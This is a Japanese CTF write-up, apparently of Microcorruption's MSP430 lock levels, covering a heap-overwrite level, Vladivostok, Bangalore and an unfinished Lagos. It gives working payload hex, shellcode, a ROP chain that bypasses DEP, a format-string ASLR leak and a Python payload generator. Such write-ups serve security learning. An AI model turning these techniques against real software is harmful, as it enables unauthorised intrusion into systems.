デバッグすると0x452aで値の書き換えがうまく動作することがわかったので当該番地で値の変更が行われるように攻撃コードを組んでいく。

攻撃方針は以下。 まずヒープにシェルコードを展開しヒープのヘッダを書き換える。そしてfree関数実行時リターンアドレスが書き換えられる。 ヒープに展開したシェルコードにプログラムカウンタを移しunlock_door関数と同じことを行う。

以下が攻撃コード及びフラグになる。

30127f00b012b6466161616161616161904300005add

上記の解説は以下。 まず最初の8バイト(30127f00b012b646)はシェルコードで以下のコードを実行する。

4564:  3012 7f00      push   #0x7f
4568:  b012 b646      call  #0x46b6 <INT>

続く8バイト(6161616161616161)はパディングで特に意味は持たない。

次の2バイト(9043)は書き換え対象アドレス-4の値でfree関数の以下の箇所で書き換える値をfree関数のリターンアドレスが配置されているメモリアドレス(0x4394)になるように調節している。

452a:  8e4c 0400      mov    r12, 0x4(r14)

書き換える命令では+4しておりfree関数のリターンアドレスのメモリ番地を指すようになっている。

次の2バイト(0000)はパディングで使用しないものとなっている。

最後の2バイト(dd5a)は複雑で複数の計算を考慮した値となっている。 まず以下の個所では0x4524の命令実行時点でr12は46a8となっており、次の0x0c5dでr13(dd5a)をr12に足しこむ。 次の命令(mov r12, 0x(r14))でfree関数のリターンアドレスが格納される0x4394番地に2408が格納される。

4524:  3c50 0600      add    #0x6, r12
4528:  0c5d           add   r13, r12
452a:  8e4c 0400      mov   r12, 0x4(r14)
452e:  9e4f 0200 0200 mov   0x2(r15), 0x2(r14)

そしてfree関数の後半であるの以下の個所。 以下の個所でr15は0x4390を指しており当該値に+4の位置の値を取ってくる。これは先ほど書き換えたfree関数のリターンアドレスとなる値である。 そしてその値に+6を行いまたリターンアドレスの位置に戻す。この時戻した値がシェルコードの先頭となるアドレスの0x240eとなる。

454a:  1d5f 0400      add    0x4(r15), r13
454e:  3d50 0600      add   #0x6, r13
4552:  8f4d 0400      mov   r13, 0x4(r15)

Vladivostok

まず実行してみる。 流れは今までと大して変わらずユーザ名とパスワードを聞かれるというもの。

Username (8 char max):
>>aaaaa
Password:
Wrong!

だが処理の最初に命令が配置されている0x0010 ~ 0x4a6eを書き換えており、 書き換え後はASLR(Address Space Layout Randomization)が適応されており命令やスタック等の配置がランダムで変更される。

まずASLRを適応する前のアセンブリを見るとprintf関数が存在し書式文字列攻撃を考えることができる。 実際に試してみると成功することがわかる。

Username (8 char max):
>>0000adfa00000000
Password:

上記で気になったのは0xadfaという値で、これは調べるとランダム化されたprintf関数のアドレスだということがわかった。 これを用いてprintf関数のアドレスをリークさせ相対位置から他の関数のアドレスを計算することできる。

次に気になったのはパスワードの入力で、ユーザ名は8文字の制限がかかっているのに対しパスワードは入力制限が20文字でリターンアドレスをバッファオーバーフローで書き換えられることがわかった。 (9 ~ 10文字目がリターンアドレスとなっている)

上記を踏まえ以下の攻撃方針を立てた。

  • ユーザ名の入力で書式文字列攻撃を用いてprintf関数のアドレスをリークさせる。
  • 相対位置を計算し_INT関数のアドレスを割り出す。
  • パスワードの入力でバッファオーバーフローを用いてリターンアドレスを_INT関数のアドレスに書き換える。
  • _INT関数がパスワード入力の際に置いた値を引数として取るので、その値を予め調節しておき0x7fでシステムコールを実行する。

上記の攻撃方針から以下のような流れで攻撃フラグを作成した。

  1. まずprintf関数と今回リターンアドレスで飛ばす先となるINT関数のアドレスを調べておき、ASLR後もINT関数の場所をprintf関数のアドレスから相対的な位置を求められるようにしておく。 printf関数は0x476a <printf>INT関数は0x48ec <_INT>にあるので、アドレスの位置からASLR後は printf関数のアドレス + 0x182の場所にINT関数があることがわかった。

  2. 次に最初のユーザ入力で、%x%xを入力しprintf関数のアドレスをリークさせる。 ``` Username (8 char max):

    0000d022 `` 上記の出力からprintf関数のアドレスは0xd022、_INT関数のアドレスは0xd1a4`であることがわかった。

  3. 次にパスワード入力でリターンアドレスを書き換えINT関数を実行する攻撃コードを組み立てる。 上記のこと踏まえ作成したのが以下。 "6161616161616161" + "a4d1" + "6161" + "7f00" 上記ではまず8文字のパディングを入れている。これは前述した通りリターンアドレスが9 ~ 10文字目の入力にくるからだ。 そして先ほど計算し求めたINT関数のアドレスをリトルエンディアンで並び替え配置する。次にまた2バイトのパディングを挟み、 INT関数に渡す引数0x7fをリトルエンディアンで配置している。再度2バイトのパディングを挟んだ理由だがそれはINT関数のバイナリを見るとわかる。(INT関数を以下に示す) 48ec <_INT> 48ec: 1e41 0200 mov 0x2(sp), r14 48f0: 0212 push sr 48f2: 0f4e mov r14, r15 48f4: 8f10 swpb r15 48f6: 024f mov r15, sr 48f8: 32d0 0080 bis #0x8000, sr 48fc: b012 1000 call #0x10 4900: 3241 pop sr 4902: 3041 ret INT関数ではスタックポインタ+2の値を引数として取得しているため先ほどのような2バイトのパディングが必要となってくる。

最後に自身が作成したPythonのコードを示す。

import sys

address_printf = sys.argv[1]
arg_int = "7f00"
padding = "61"

address_int = int(address_printf, 16) + 0x182
address_int = hex(((address_int & 0xFF00) >> 8) + ((address_int &  0x00ff) << 8))[2:]

print(padding*8 + address_int + padding*2 + arg_int)

Bangalore

まずは普通に実行。

Enter the password to continue.
Remember: passwords are between 8 and 16 characters.
That password is not correct.

上記を見る限りでは特に今までと変わったところもない様子。 login関数のret命令はgets命令とスタックのダンプを見る限りバッファオーバーフローで書き換えが可能なことがわかる。

(gets命令では48文字入力できるが ※以下gets命令の実行箇所抜粋)

4526:  3e40 3000      mov    #0x30, r14
452a:  0f41           mov   sp, r15
452c:  b012 6244      call  #0x4462 <getsn>

(以下の時pcは0x3ffeを指しており17 ~ 18文字目でリターンアドレスを書き換えることができるのがわかる。)

3fd0:   0000 0000 0000 0000 0000 0000 0000 5c44   ..............\D
3fe0:   7444 0000 0000 0a00 9644 0000 3845 7061   tD.......D..8Epa
3ff0:   7373 776f 7264 0000 0000 0845 0000 4044   ssword.....E..@D

ではバッファオーバーフローでPCを書き換えスタックに引いたシェルコードを実行する。 入力値は以下。

30127f00b012b6466161616161616161ee3f

上記の入力値を与えた時の結果が以下。

Segmentation Fault: can not execute write-only page.

シェルコードを敷いたスタック上はWrite-OnlyになっておりDEP(Data Execution Prevention)が有効になっているようなので、これを先に実行可能な状態に変更してからシェルコードを実行する必要がある。 なので今回はROP(Return-Oriented Programming)を行いスタックを実行可能にしてから任意の処理に移すような流れにする。

攻撃方針は以下。

  • まずリターンアドレスを書き換え0x44baに処理を飛ばす。(以下が当該アドレス) 44ba: 3180 0600 sub #0x6, sp 44be: 3240 0091 mov #0x9100, sr 44c2: b012 1000 call #0x10 44c6: 3150 0a00 add #0xa, sp 44ca: 3041 ret この時スタックは第一引数に0x3f(実行可能とするページ番号)、第二引数に0が来るようにスタックを調整した状態だ。 上記により0x3f00が実行可能領域となる。
  • 次に上記の処理が終了した後、スタックに敷いた以下のシェルコードを実行される。 3240 00ff mov #0xff00, sr b012 1000 call #0x10

攻撃コード及びフラグは以下となる。

324000ffb01210006161616161616161ba443f000000ee3f

上記の攻撃コードを解説する。 まず役割ごとに分けるとすると以下のようになる。

324000ffb0121000 6161616161616161 ba44 3f000000 ee3f

まず最初のひとかたまり(324000ffb0121000)。 これはシェルコードになっており直接システムコールを呼ぶ形を取っている。 これまでのシェルコードではINT関数を用いていたが今回は存在しなかったからである。

INT関数は以下のようなコードになっており、今回はその中で用いられているコードをエミュレートする形を取った。

457a <INT>
457a:  1e41 0200      mov   0x2(sp), r14
457e:  0212           push  sr
4580:  0f4e           mov   r14, r15
4582:  8f10           swpb  r15
4584:  024f           mov   r15, sr
4586:  32d0 0080      bis   #0x8000, sr
458a:  b012 1000      call  #0x10
458e:  3241           pop   sr
4590:  3041           ret

今まではINT関数を以下のように呼び出していたので

4564:  3012 7f00      push   #0x7f
4568:  b012 b646      call  #0x46b6 <INT>

最終的にsrに0xff00が入った状態でcall #0x10を呼ぶ形になる。 これを以下のコードで行ったのである。

3240 00ff     mov    #0xff00, sr
b012 1000     call  #0x10

次のひとかたり(6161616161616161) これはただのパディングになっている。

次のひとかまり(ba44)だが、これはその次のひとかたまり(3f000000)と関係があるので一緒に説明する。 0xba44はリターンアドレス(44ba)として使用され、以下のコードを用いてROPを行うために配置した。 3f00 0000は引数で順に第一引数、第二引数となるように配置した。

44ba:  3180 0600      sub    #0x6, sp
44be:  3240 0091      mov   #0x9100, sr
44c2:  b012 1000      call  #0x10
44c6:  3150 0a00      add   #0xa, sp
44ca:  3041           ret

上記のコードではマニュアルにあるINT 0x11を実装しておりsrに0x11をセットしbis #0x8000 srを実行した後の状態を作っている。 INT 0x11のマニュアルを以下に示す。

INT 0x11.
Mark as a page as either only executable or only writable.
Takes two one arguments. The first argument is the page number, the
second argument is 1 if writable, 0 if executable.

そしてここでもう一つ説明が必要なのが第一引数のページ番号である。 これに関してもマニュアルに記載があるので以下に示す。

2.3 Memory Protection
Some version of the LockIT Pro contain memory protection which allows each
of the 256 pages to be either executable or writable, but never both. This
prevents many common attacks. There is an interrupt for the LockIT Pro
which enables memory protection, and there are interrupts to specify whether
a given page should be executable or writable.

マニュアルにはページは256個存在するを記載があるので0x00 ~ 0xffになることがわかる。そしてこれが各メモリアドレスと対になっているので今回はシェルコードを敷いた0x3feeが実行可能となるように、0x3fを指定した。

最後のひとかたり(ee3f)だが、これは先ほどROPを行うのに使用した処理のリターンアドレスになるものでスタック上に敷いたシェルコードの先頭を指している。

Lagos

実行すると以下のようなメッセージが出力された。

Enter the password to continue.
Remember: passwords are between 8 and 16 characters.
Due to some users abusing our login system, we have
restricted passwords to only alphanumeric characters.
That password is not correct.

不正を働くユーザ対策で英数字のみが入力できるようになっているようだ。 実際にはlogin関数の以下の個所でバリデーションを行っているようで、入力文字列をスタック付近にコピーする際には最初の英数字でない文字以降はコピーされないことがわかった。

4596:  7c40 0900      mov.b  #0x9, r12
459a:  7d40 1900      mov.b #0x19, r13
459e:  073c           jmp   #0x45ae <login+0x50>
45a0:  0b41           mov   sp, r11
45a2:  0b5e           add   r14, r11
45a4:  cb4f 0000      mov.b r15, 0x0(r11)
45a8:  5f4e 0024      mov.b 0x2400(r14), r15
45ac:  1e53           inc   r14
45ae:  4b4f           mov.b r15, r11
45b0:  7b50 d0ff      add.b #0xffd0, r11
45b4:  4c9b           cmp.b r11, r12
45b6:  f42f           jc    #0x45a0 <login+0x42>
45b8:  7b50 efff      add.b #0xffef, r11
45bc:  4d9b           cmp.b r11, r13
45be:  f02f           jc    #0x45a0 <login+0x42>
45c0:  7b50 e0ff      add.b #0xffe0, r11
45c4:  4d9b           cmp.b r11, r13
45c6:  ec2f           jc    #0x45a0 <login+0x42>

ただコードを読んでいくとわかるがgets関数では512文字入力できるようになっておりかなり長めの入力も受け付けることがわかる。

4584:  3e40 0002      mov    #0x200, r14
4588:  3f40 0024      mov   #0x2400, r15
458c:  b012 5046      call  #0x4650 <getsn>

加えてlogin関数のリターンアドレスは入力の18 ~ 19文字目でオーバーライドできることがわかったのでここから攻撃を展開していく。 んんー、Alphanumericなシェルコード? unlook_door関数を上書きできそう?

とりあえず飽きたのでこの辺で・・・

ゴミ溜め

alphanumeric 

0x30 ~ 0x39
0x41 ~ 0x51
0x61 ~ 0x7a